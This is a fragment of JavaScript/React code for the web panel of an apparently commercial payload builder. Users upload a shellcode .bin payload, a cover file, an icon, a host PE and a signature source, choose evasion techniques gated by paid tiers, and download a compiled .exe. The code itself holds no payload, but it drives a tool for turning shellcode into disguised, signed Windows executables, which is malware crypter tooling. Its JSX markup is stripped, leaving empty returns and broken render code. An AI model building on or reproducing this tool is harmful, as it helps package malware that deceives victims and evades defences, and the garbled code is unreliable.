var fileCatMap = { payload: 'payload', cover: 'cover', icon: 'icon', host_pe: 'host_pe', sig_source: 'signature' };
catKeys.forEach(function(cat) {
if (serverDefaults[cat]) {
sfMap[cat] = serverDefaults[cat];
}
});
return {
global_settings: {
payload_path: files.payload ? files.payload.name : '',
cover_path: files.cover ? files.cover.name : '',
icon_path: files.icon ? files.icon.name : '',
host_pe_path: files.host_pe ? files.host_pe.name : '',
sig_path: files.sig_source ? files.sig_source.name : '',
out_name: outputName,
},
build_mode: debugMode,
dropdowns: { ...dropdownSelections },
checkboxes: { ...checkboxStates },
params: { ...paramValues }, // raw values for profile save
active_modules: activeModules,
dropdown_selections: dSelKeys,
debug_mode: debugMode,
override_icon: overrideIcon,
output_name: outputName,
build_params: buildParams,
server_files: sfMap,
};
}
// ===== Build =====
async function handleBuild() {
if (!userCanBuild) return;
if (!files.payload && !serverDefaults['payload']) {
addLog('No payload file selected. Please select a .bin file or set a server default.', 'error');
return;
}
// Tier validation: check all active techniques before building
var _bOpts = dropdownOptionsMap.current;
var _tierBlocked = false;
Object.keys(dropdownSelections).forEach(function(_gn) {
var _dn = dropdownSelections[_gn];
var _gopts = _bOpts[_gn] || {};
var _mk = _gopts[_dn] || '';
if (isTechniqueLocked(_mk)) {
var _rt = getTechniqueRequiredTier(_mk);
addLog('Technique "' + _mk + '" requires ' + (TIER_BADGE_NAMES[_rt] || '') + ' tier', 'error');
_tierBlocked = true;
}
});
Object.keys(checkboxStates).forEach(function(_ck) {
if (checkboxStates[_ck] && isTechniqueLocked(_ck)) {
var _rt2 = getTechniqueRequiredTier(_ck);
addLog('Technique "' + _ck + '" requires ' + (TIER_BADGE_NAMES[_rt2] || '') + ' tier', 'error');
_tierBlocked = true;
}
});
if (_tierBlocked) return;
setBuildStatus('building');
setLogs([]);
setDownloadFiles([]);
const config = collectConfig();
const fd = new FormData();
fd.append('config', JSON.stringify(config));
if (files.payload) fd.append('payload', files.payload);
if (files.cover) fd.append('cover', files.cover);
if (files.icon && (!hasHostPe || overrideIcon)) {
fd.append('icon', files.icon);
}
if (files.host_pe) fd.append('host_pe', files.host_pe);
if (files.sig_source) fd.append('sig_source', files.sig_source);
try {
const resp = await authFetch(API_BASE + '/build', { method: 'POST', body: fd });
if (!resp.ok) {
const errData = await resp.json().catch(() => ({}));
throw new Error(errData.detail?.error || 'Build request failed');
}
const data = await resp.json();
setBuildId(data.build_id);
addLog('Build started (ID: ' + data.build_id + ')', 'info');
connectBuildWebSocket(data.build_id);
} catch (err) {
addLog('Build failed: ' + err.message, 'error');
setBuildStatus('idle');
}
}
function connectBuildWebSocket(id) {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const token = getToken();
const wsUrl = protocol + '//' + window.location.host + API_BASE + '/build/' + id + '/logs?token=' + encodeURIComponent(token || '');
if (buildWsRef.current) {
buildWsRef.current.close();
}
const ws = new WebSocket(wsUrl);
buildWsRef.current = ws;
ws.onmessage = function (event) {
let entry;
try {
entry = JSON.parse(event.data);
} catch (e) {
return;
}
if (entry.done) {
if (entry.status === 'success') {
setLogs((prev) => [...prev, { message: 'Build completed successfully!', tag: 'ok', time: timestamp() }]);
// Build download files list
const dlFiles = [];
const mainFilename = outputName.endsWith('.exe') ? outputName : outputName + '.exe';
dlFiles.push({
filename: mainFilename,
downloadUrl: API_BASE + '/build/' + id + '/download',
type: 'primary',
subtitle: 'Main Executable',
});
if (entry.extra_files && entry.extra_files.length > 0) {
entry.extra_files.forEach((filename) => {
dlFiles.push({
filename: filename,
downloadUrl: API_BASE + '/build/' + id + '/download/' + encodeURIComponent(filename),
type: 'secondary',
subtitle: getFileSubtitle(filename),
});
});
}
setDownloadFiles(dlFiles);
setBuildStatus('success');
} else {
setLogs((prev) => [...prev, { message: 'Build failed.', tag: 'error', time: timestamp() }]);
setBuildStatus('error');
}
return;
}
// Regular log message
setLogs((prev) => [...prev, {
message: entry.message || '',
tag: entry.tag || 'dim',
time: timestamp(),
}]);
};
ws.onerror = function () {
setLogs((prev) => [...prev, { message: 'WebSocket connection error.', tag: 'error', time: timestamp() }]);
setBuildStatus('error');
};
ws.onclose = function () {
buildWsRef.current = null;
};
}
function handleDownloadAll() {
downloadFiles.forEach((file, i) => {
setTimeout(() => {
downloadWithAuth(file.downloadUrl, file.filename);
}, i * 500);
});
}
// ===== Tooltip =====
function handleInfoClick(e, moduleKey) {
e.stopPropagation();
if (tooltip.visible && tooltip.moduleKey === moduleKey) {
setTooltip({ visible: false, moduleKey: null, anchorRect: null });
} else {
const rect = e.currentTarget.getBoundingClientRect();
setTooltip({ visible: true, moduleKey, anchorRect: rect });
}
}
// ===== RENDER =====
const statusClass = status === 'online' ? 'online' : status === 'offline' ? 'offline' : '';
const statusLabel = status === 'online'
? (mingwAvailable ? 'SYS READY' : 'NO COMPILER')
: status === 'offline' ? 'OFFLINE' : 'CONNECTING...';
const isBuilding = buildStatus === 'building';
// --- Shared header renderer ---
function renderHeader(showBackButton) {
return (
);
}
// --- Admin view ---
if (currentView === 'admin') {
return (
{renderHeader(true)}
{showChangePw && }
);
}
return (
{/* HEADER */}
{renderHeader(false)}
{/* GLOBAL SETTINGS */}
{/* FILE MANAGER */}
{/* BUILD MODE */}
{/* TECHNIQUE SELECTION */}
SELECT ACTIVE TECHNIQUES
{/* Dropdowns */}
{Object.keys(exclusiveGroups).map((groupName) => {
const options = exclusiveGroups[groupName];
const optionNames = Object.keys(options);
return (
{groupName}
);
})}
{/* Checkbox groups */}
{checkboxGroups.map((group) => {
const groupName = group[0];
const keys = group[1];
return (
{groupName}
{keys.map((key) => {
const mod = modules[key];
if (!mod) return null;
const checked = !!checkboxStates[key];
const params = paramsMap[key] || [];
const locked = isTechniqueLocked(key);
const reqTier = getTechniqueRequiredTier(key);
return (
);
})}
);
})}
{/* BUILD SECTION */}
{isViewer && (
Viewer role — contact admin for build access
)}
{logs.length === 0 ? (
Awaiting build command...
) : (
logs.map((entry, i) => )
)}
{/* Download Area */}
{buildStatus === 'success' && downloadFiles.length > 0 && (
)}
{/* Info Tooltip Portal */}
setTooltip({ visible: false, moduleKey: null, anchorRect: null })}
/>
{showChangePw && }
);
}
// ===== Mount =====
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render();